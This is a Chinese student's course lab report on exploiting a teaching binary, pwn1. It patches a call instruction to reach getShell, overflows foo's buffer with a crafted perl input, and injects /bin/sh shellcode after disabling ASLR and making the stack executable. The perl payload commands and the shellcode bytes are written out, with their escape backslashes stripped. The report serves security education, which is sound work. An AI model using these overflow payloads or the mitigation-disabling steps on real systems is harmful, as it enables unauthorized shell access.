2019-2020-2 《网络对抗技术》 Exp1 PC平台逆向破解
实验目标
本次实践的对象是一个名为pwn1的linux可执行文件。其中包含一段正常情况不被运行的代码片段,实验目标就是想办法运行这段代码。
三个实践内容如下
- 手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。
- 利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。
- 注入一个自己制作的shellcode并运行这段shellcode。
实验准备
-
基本知识
-
linux基本操作
- 管道( | ):用于数据注入文件
- 管道是一种最基本的IPC机制,作用于有血缘关系的进程之间,完成数据传递。
- 由两个文件描述符引用,一个表示读端,一个表示写端。
- 规定数据从管道的写端流入管道,从读端流出。
- 输入、输出重定向( > >> < )
>
:以覆盖的方式将命令的正确输出输出到指定的文件或设备当中。>>
:以追加方式重定向到文件设备中。<
:把文件作为命令的输入,例如wc命令时统计行,单词书和字符的。
- 管道( | ):用于数据注入文件
-
NOP、JNE、JE、JMP、CMP汇编指令的机器码
- NOP:90(NOP指令即“空指令”。执行到NOP指令时,CPU什么也不做,仅仅当做一个指令执行过去并继续执行NOP后面的一条指令。)
- JNE:75(条件转移指令,如果不相等则跳转。)
- JE:74(条件转移指令,如果相等则跳转。)
- CMP:38~3D(比较指令,功能相当于减法指令,只是对操作数之间运算比较,不保存结果。)
-
相关指令、参数
- 反汇编指令
objdump -d <file(s)>
: 将代码段反汇编;objdump -S <file(s)>
: 将代码段反汇编的同时,将反汇编代码与源代码交替显示,编译时需要使用-g参数,即需要调试信息;objdump -l <file(s)>
: 反汇编代码中插入文件名和行号
- 十六进制编程器:
vim <filename>
以ASCII码形式显示可执行文件的内容:%!xxd
切换显示模式(16进制模式、ASCII码模式)
- gdb的常用命令
- break(b):设置断点
- run(r):运行程序
- clear:清除断点
- info:显示断点信息
- attach:继续执行程序
- 反汇编指令
-
实验代码准备
- 实验前需准备好文件pwn1,通过共享文件夹导入虚拟机,并做好备份处理命名为pwn1.bak
实验内容步骤
任务一:手工修改可执行文件,改变程序执行流程
- 首先需要对可执行文件进行分析,观察想要达到目的需要修改哪一段机器码
- 通过命令
objdump -d pwn1 | more
对目标文件进行反汇编
- 反汇编汇编结果如下:
- 主函数的起始位置为:
0x080484af
、foo函数的起始位置为0x08048491
、getshell代码段的起始位置为:0x0804847d
、且主函数中调用函数的指令call 8048491 <foo>
后的地址为:0x080484ba
。 - 而此地址与foo函数的起始地址差
0x080484ba - 0x08048491 = 0xffffffd7
与该指令对应机器码e8 d7 ff ff ff
对应。 - 所以,要让程序执行到getShell只需更改call指令的机器码为相应地址的差,地址差为
0x080484ba - 0x0804847d = 0xffffffc3
- 主函数的起始位置为:
- 确修改机器指令:
- 输入指令
vi pwn1
打开文件。因为其是以ASCII码显示,所以我们需要通过指令:%!xxd
将文件转换为16进制查看
- 输入指令
- 找到
d7ffffff
位置,将d7修改为c3,并输入:%!xxd
将文件转化为,保存并退出
此处在保存退出前一定要记得先转换成ASCII码形式,否则之后反编译检查时会无法正常进行
- 测试实验结果
- 通过对修改文件再次进行反编译,来观察机器指令是否和要求相匹配
- 运行之前备份的pwn1.bak文件和pwn1文件看两者的运行模式
任务二:利用foo函数的Bof漏洞,覆盖返回地址,触发getShell函数
- 将pwn1 文件通过备用文件还原
cp pwn1.bak pwn1
- 首先还是需要通过反汇编指令观察foo函数为其输入留了多少空间,通过图示可以计算实现缓冲区溢出的字符数为28+4=32 个字节,因此需要将getShell函数的地址放在返回地址即需要33~36字节。
- 验证猜想的同时确定我们输入什么样的字符能进行攻击
- gdb调试:我们在输入时特意输入36字节长度的字符,同时需
info r
指令查看寄存器的状态 - 我们在得到
Segmentation fault
后,通过对比eip寄存器和我们输入的字符就可以知道我们需要在何处对输入字符替换
- gdb调试:我们在输入时特意输入36字节长度的字符,同时需
- 进行输入,并验证结果
- 通过老师的实验视频我们得到输入指令如下:
perl -e 'print "11111111222222223333333344444444x7dx84x04x08x0a"' > input
同时需要的话我们可以通过xxd
来验证我们的字符串是否如我们的预期 - 通过管道符,即老师视频提供的命令输入
(cat input; cat ) | ./pwn1
将构造的输入注入并运行,得出预期结果
- 通过老师的实验视频我们得到输入指令如下:
任务三:注入一个shellcode并运行
- 同任务二将pwn1 文件通过备用文件还原
- 具体构造方法都可以从老师提供的视频中了解到,同时还需对文件pwn1进行处理以进行接下来的步骤:
- 设置设置堆栈可执行
execstack -s pwn1
设置堆栈可执行execstack -q pwn1
查询文件的堆栈是否可执行,结果为X表示可执行####未安装需安装execstack
- 设置设置堆栈可执行
- 关闭地址随机化(注意权限)
echo "0" > /proc/sys/kernel/randomize_va_space
关闭随机化more /proc/sys/kernel/randomize_va_space
结果为0证明已关闭
- 构造payload
- 大致同任务二,通过参考视频我们提供构造命令如下:
perl -e 'print "A" x 32;print "x4x3x2x1x90x90x90x90x90x90x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x50x53x89xe1x31xd2xb0x0bxcdx80x90x00xd3xffxffx00"' > input_shellcode
- 原终端
(cat input_shellcode;cat) | ./pwn1
运行代码,另起一个终端进行gdb调试以找到注入位置 disassemble foo
进行反编译,可以看到ret指令的地址为0x080484ae
,在此处设置断点break *0x080484ae
,之前需要进行进程号查询,已更好确定位置
- 在a终端中按下回车运行,程序执行到断点停止,再在b终端输入c继续运行程序,
info r esp
查看esp寄存器地址,x/16x 0xffffd28c
以16进制形式查看0xffffd28c
地址后面16字节的内容
可以观察到0x01020304
的地址为0xffffd28c
,因此shellcode注入位置(可以使最先出现0x90的位置)地址为0xffffd28c+0x00000004=0xffffd290
- 最终注入
- 重新定义
input_shellcode
perl -e 'print "A" x 32;print"x90xd2xffxffx90x90x90x90x90x90x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x50x53x89xe1x31xd2xb0x0bxcdx80x90x00xd3xffxffx00"' > input_shellcode
- 输入命令
(cat input_shellcode;cat) | ./pwn1
验证结果是否成功
- 重新定义
实验总结
-
什么是漏洞?漏洞有什么危害?
- 我觉得漏洞就是大家平常都会忽略但是同时又是黑客可以用来破坏计算机的途径
- 存在漏洞可能会导致我们的计算机数据丢失和篡改,被黑客注入病毒监控,从而导致经济损失、机密泄露,无法正常工作学习等
-
实验遇到的问题
- 重新安装了vmware tools后开机关机都不能正常进行,而且出现如下情况
- 解决方案:在网上搜了好多,都不能解决,问了同学也没能解决,最后只能重新安装kali。
-
实验收获和感想
- 本次实验准备工作较复杂,kali又出现了问题,忙活了好久,但根据视频理解也很快,本次实验使我对linux的操作更加熟练,也复习到汇编的知识,初步学习到关于逆向破解的知识。
- 本次实验发现还是有很多不足之处,对一些基础知识掌握不彻底,对一些不了解的地方也应该多向同学或者老师请教,不懂就要问,这样才可以弥补自己知识的短缺。